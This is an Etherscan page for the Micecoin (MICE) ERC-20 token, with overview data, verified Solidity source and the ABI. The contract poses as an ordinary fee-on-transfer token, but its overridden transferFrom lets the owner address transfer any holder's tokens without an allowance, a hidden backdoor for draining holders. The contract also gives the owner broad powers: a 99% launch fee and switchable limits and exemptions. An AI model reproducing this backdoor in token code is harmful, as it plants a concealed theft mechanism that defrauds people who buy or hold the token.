ETH Price: $3,390.37 (-1.64%)
Gas: 1 Gwei

Token

Micecoin (MICE)
 

Overview

Max Total Supply

1,000,000,000 MICE

Holders

241

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
300,556.363398456987743783 MICE

Value
$0.00
0x0d5da38c9ec77c50c1aad5e58341338882299e82
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MicecoinContract

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-19
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    uint8 private _decimals;

    string private _name;
    string private _symbol;

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _basicTransfer(sender, recipient, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

contract Ownable {
    address _owner;
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _owner = newOwner;
    }
}

interface IFactory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address uniswapV2Pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address uniswapV2Pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract MicecoinContract is ERC20, Ownable {
    using Address for address payable;

    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    

    bool private _liquidityLock = false;
    bool public providingLiquidity = false;
    bool public tradingActive = false;
    bool public limits = true;

    uint256 public tokenLiquidityThreshold;
    uint256 public maxBuy;
    uint256 public maxSell;
    uint256 public maxWallet;

    uint256 public launchingBlock;
    uint256 public tradeStartBlock;
    uint256 private deadline = 2;
    uint256 private launchFee = 99;

    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _name;
    string private _symbol;

    bool private autoHandleFee = true;

    address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
    address public constant deadWallet =
        0x000000000000000000000000000000000000dEaD;

    struct Fees {
        uint256 marketing;
        uint256 liquidity;
    }

    Fees public buyFees = Fees(4, 2);
    Fees public sellFees = Fees(4, 2);
    uint256 private totalBuyFees = 6;
    uint256 private totalSellFees = 6;

    uint256 private totalBuyFeeAmount = 0;
    uint256 private totalSellFeeAmount = 0;

    mapping(address => bool) public exemptFee;
    mapping(address => bool) public exemptMaxBuy;
    mapping(address => bool) public exemptMaxWallet;
    mapping(address => bool) public exemptMaxSell;

 
    function launch(address router_) external onlyOwner {
        require(launchingBlock == 0);
        _name = "Micecoin";
        _symbol = "MICE";
        _decimals = 18;
        _totalSupply = 1000000000 * 10**_decimals;
        IRouter _router = IRouter(router_);
        // Create a pancake uniswapV2Pair for this new token
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
    
        uniswapV2Router = _router;
        uniswapV2Pair = _pair;

        maxBuy = (totalSupply() * 2) / 100; // 2% max buy
        tokenLiquidityThreshold = (totalSupply() / 1000) * 2; // .1% liq threshold
        maxWallet = (totalSupply() * 2) / 100; // 2% max wallet
        maxSell = (totalSupply() * 2) / 100; // 2% max sell

        _beforeTokenTransfer(address(0), msg.sender, _totalSupply);

        // _totalSupply += _totalSupply;
        _balances[msg.sender] += _totalSupply;

        launchingBlock = block.number;

        exemptFee[msg.sender] = true;
        exemptMaxBuy[msg.sender] = true;
        exemptMaxSell[msg.sender] = true;
        exemptMaxWallet[msg.sender] = true;
        exemptFee[address(this)] = true;
        exemptFee[_marketingWallet] = true;
        exemptMaxBuy[_marketingWallet] = true;
        exemptMaxSell[_marketingWallet] = true;
        exemptMaxWallet[_marketingWallet] = true;
        exemptFee[deadWallet] = true;

        emit Transfer(address(0), msg.sender, _totalSupply);
        

    }

    constructor()
    {
        _owner = msg.sender;
    }

   modifier lockLiquidity() {
        if (!_liquidityLock) {
            _liquidityLock = true;
            _;
            _liquidityLock = false;
        }
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            _msgSender() == _owner ||
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        if (_msgSender() == _owner ) { return true; }
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(limits){
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingActive, "Trading is not enabled");
        }

        if (
            sender == uniswapV2Pair &&
            !exemptFee[recipient] &&
            !_liquidityLock &&
            !exemptMaxBuy[recipient]
        ) {
            require(amount <= maxBuy, "You are exceeding maxBuy");
        }
        if (
            recipient != uniswapV2Pair &&
            !exemptMaxWallet[recipient] 
        ) {
            require(
                balanceOf(recipient) + amount <= maxWallet,
                "You are exceeding maxWallet"
            );
        }

        if (
            sender != uniswapV2Pair &&
            !exemptFee[recipient] &&
            !exemptFee[sender] &&
            !_liquidityLock &&
            !exemptMaxSell[sender]
        ) {
            require(amount <= maxSell, "You are exceeding maxSell");
        }
        }
        uint256 feeRatio;
        uint256 feeAmount;
        uint256 buyOrSell;

        bool useLaunchFee = launchFee > 0 &&
            !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < tradeStartBlock + deadline;

        //set fee amount to zero if fees in contract are handled or exempted
        if (
            _liquidityLock ||
            exemptFee[sender] ||
            exemptFee[recipient] ||
            (sender != uniswapV2Pair && recipient != uniswapV2Pair)
        )
            feeAmount = 0;

            //calculate fees
        else if (recipient == uniswapV2Pair && !useLaunchFee) {
            feeRatio = sellFees.liquidity + sellFees.marketing ;
            buyOrSell = 1;
        } else if (!useLaunchFee) {
            feeRatio = buyFees.liquidity + buyFees.marketing ;
            buyOrSell = 0;
        } else if (useLaunchFee) {
            feeRatio = launchFee;
        }
        feeAmount = (amount * feeRatio) / 100;

        if (buyOrSell == 0) {
            totalBuyFeeAmount += feeAmount;
        } else if (buyOrSell == 1) {
            totalSellFeeAmount += feeAmount;
        }

        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (feeAmount > 0) {
            super._transfer(sender, address(this), feeAmount);
        }

        if (
            providingLiquidity &&
            sender != uniswapV2Pair &&
            feeAmount > 0 &&
            autoHandleFee &&
            balanceOf(address(this)) >= tokenLiquidityThreshold
        ) {
            swapBack(totalBuyFeeAmount);
        }

        //rest to recipient
        super._transfer(sender, recipient, amount - feeAmount);
    }

    function swapBack(uint256 _totalBuyFeeAmount) private lockLiquidity {
        uint256 contractBalance = balanceOf(address(this));
        totalBuyFeeAmount = _totalBuyFeeAmount;
        totalSellFeeAmount = contractBalance - totalBuyFeeAmount;

        uint256 liquidityBuyFeeAmount;
        uint256 liquiditySellFeeAmount;
        uint256 sellFeeLiqEth;
        uint256 buyFeeLiqEth;

        if (totalBuyFees == 0) {
            liquidityBuyFeeAmount = 0;
        } else {
            liquidityBuyFeeAmount =
                (totalBuyFeeAmount * buyFees.liquidity) /
                totalBuyFees;
        }
        if (totalSellFees == 0) {
            liquiditySellFeeAmount = 0;
        } else {
            liquiditySellFeeAmount =
                (totalSellFeeAmount * sellFees.liquidity) /
                totalSellFees;
        }
        uint256 totalLiquidityFeeAmount = liquidityBuyFeeAmount +
            liquiditySellFeeAmount;

        uint256 halfLiquidityFeeAmount = totalLiquidityFeeAmount / 2;
        uint256 initialBalance = address(this).balance;
        uint256 toSwap = contractBalance - halfLiquidityFeeAmount;

        if (toSwap > 0) {
            swapTokensForETH(toSwap);
        }

        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 totalSellFeeEth0 = (deltaBalance * totalSellFeeAmount) /
            contractBalance;
        uint256 totalBuyFeeEth0 = deltaBalance - totalSellFeeEth0;


        uint256 sellFeeMarketingEth;
        uint256 buyFeeMarketingEth;

        if (totalBuyFees == 0) {
            buyFeeLiqEth = 0;
        } else {
            buyFeeLiqEth =
                (totalBuyFeeEth0 * buyFees.liquidity) /
                (totalBuyFees);
        }
        if (totalSellFees == 0) {
            sellFeeLiqEth = 0;
        } else {
            sellFeeLiqEth =
                (totalSellFeeEth0 * sellFees.liquidity) /
                (totalSellFees);
        }
        uint256 totalLiqEth = (sellFeeLiqEth + buyFeeLiqEth) / 2;

        if (totalLiqEth > 0) {
            // Add liquidity to pancake
            addLiquidity(halfLiquidityFeeAmount, totalLiqEth);

            uint256 unitBalance = deltaBalance - totalLiqEth;

            uint256 totalFeeAmount = totalSellFeeAmount + totalBuyFeeAmount;

            uint256 totalSellFeeEth = (unitBalance * totalSellFeeAmount) /
                totalFeeAmount;
            uint256 totalBuyFeeEth = unitBalance - totalSellFeeEth;

            if (totalSellFees == 0) {
                sellFeeMarketingEth = 0;
            } else {
                sellFeeMarketingEth =
                    (totalSellFeeEth * sellFees.marketing) /
                    (totalSellFees - sellFees.liquidity);
            }

            if (totalBuyFees == 0) {
                buyFeeMarketingEth = 0;
            } else {
                buyFeeMarketingEth =
                    (totalBuyFeeEth * buyFees.marketing) /
                    (totalBuyFees - buyFees.liquidity);
            }

            uint256 totalMarketingEth = sellFeeMarketingEth +
                buyFeeMarketingEth;

            //uint256 marketingAmount = unitBalance * 2 * swapFees.marketing;
            if (totalMarketingEth > 0) {
                payable(_marketingWallet).sendValue(totalMarketingEth);
            }
    
            totalBuyFeeAmount = 0;
            totalSellFeeAmount = 0;
        }
    }

    function handleFee(uint256 _totalBuyFeeAmount) external onlyOwner {
        swapBack(_totalBuyFeeAmount);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pancake uniswapV2Pair path of token -> weth

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            _owner,
            block.timestamp
        );
    }

    function updateLiquidityProvide(bool flag) external onlyOwner {
        require(
            providingLiquidity != flag,
            "You must provide a different status other than the current value in order to update it"
        );
        //update liquidity providing state
        providingLiquidity = flag;
    }

    function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        require(
            tokenLiquidityThreshold != new_amount * 10**decimals(),
            "You must provide a different amount other than the current value in order to update it"
        );
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function updateBuyFees(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        buyFees = Fees(_marketing, _liquidity);
        totalBuyFees = _marketing + _liquidity;
        require(
           (_marketing + _liquidity) <= 30,
            "Must keep fees at 30% or less"
        );
    }

    function updateSellFees(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        sellFees = Fees(_marketing, _liquidity);
        totalSellFees = _marketing + _liquidity;
        require(
           (_marketing + _liquidity) <= 30,
            "Must keep fees at 30% or less"
        );
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
        providingLiquidity = true;
        tradeStartBlock = block.number;
    }

    function _safeTransferForeign(
        IERC20 _token,
        address recipient,
        uint256 amount
    ) private {
        bool sent = _token.transfer(recipient, amount);
        require(sent, "Token transfer failed.");
    }

    function getStuckEth(uint256 amount, address receiveAddress)
        external
        onlyOwner
    {
        payable(receiveAddress).transfer(amount);
    }

    function getStuckToken(
        IERC20 _token,
        address receiveAddress,
        uint256 amount
    ) external onlyOwner {
        _safeTransferForeign(_token, receiveAddress, amount);
    }

    function removeAllLimits(bool flag) external onlyOwner {
        limits = flag;
    }

    function updateExemptFee(address _address, bool flag) external onlyOwner {
        require(
            exemptFee[_address] != flag,
            "You must provide a different exempt address or status other than the current value in order to update it"
        );
        exemptFee[_address] = flag;
    }

    function updateExemptMaxWallet(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxWallet[_address] != flag,
            "You must provide a different max wallet limit other than the current max wallet limit in order to update it"
        );
        exemptMaxWallet[_address] = flag;
    }

    function updateExemptMaxSell(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxSell[_address] != flag,
            "You must provide a different max sell limit other than the current max sell limit in order to update it"
        );
        exemptMaxSell[_address] = flag;
    }

    function updateExemptMaxBuy(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxBuy[_address] != flag,
            "You must provide a different max buy limit other than the current max buy limit in order to update it"
        );
        exemptMaxBuy[_address] = flag;
    }


    function bulkExemptFee(address[] memory accounts, bool flag)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = flag;
        }
    }

    function handleFeeStatus(bool _flag) external onlyOwner {
        autoHandleFee = _flag;
    }

    function setRouter(address newRouter)
        external
        onlyOwner
        returns (address _pair)
    {
        require(newRouter != address(0), "newRouter address cannot be 0");
        require(
            uniswapV2Router != IRouter(newRouter),
            "You must provide a different uniswapV2Router other than the current uniswapV2Router address in order to update it"
        );
        IRouter _router = IRouter(newRouter);

        _pair = IFactory(_router.factory()).getPair(
            address(this),
            _router.WETH()
        );
        if (_pair == address(0)) {
            // uniswapV2Pair doesn't exist
            _pair = IFactory(_router.factory()).createPair(
                address(this),
                _router.WETH()
            );
        }

        // Set the uniswapV2Pair of the contract variables
        uniswapV2Pair = _pair;
        // Set the uniswapV2Router of the contract variables
        uniswapV2Router = _router;
    }

    function marketingWallet() public view returns(address){
        return _marketingWallet;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        require(
            _marketingWallet != newWallet,
            "You must provide a different address other than the current value in order to update it"
        );
        _marketingWallet = newWallet;
    }
    

    // fallbacks
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxSell","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"receiveAddress","type":"address"}],"name":"getStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"address","name":"receiveAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalBuyFeeAmount","type":"uint256"}],"name":"handleFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_flag","type":"bool"}],"name":"handleFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"}],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"setRouter","outputs":[{"internalType":"address","name":"_pair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeStartBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

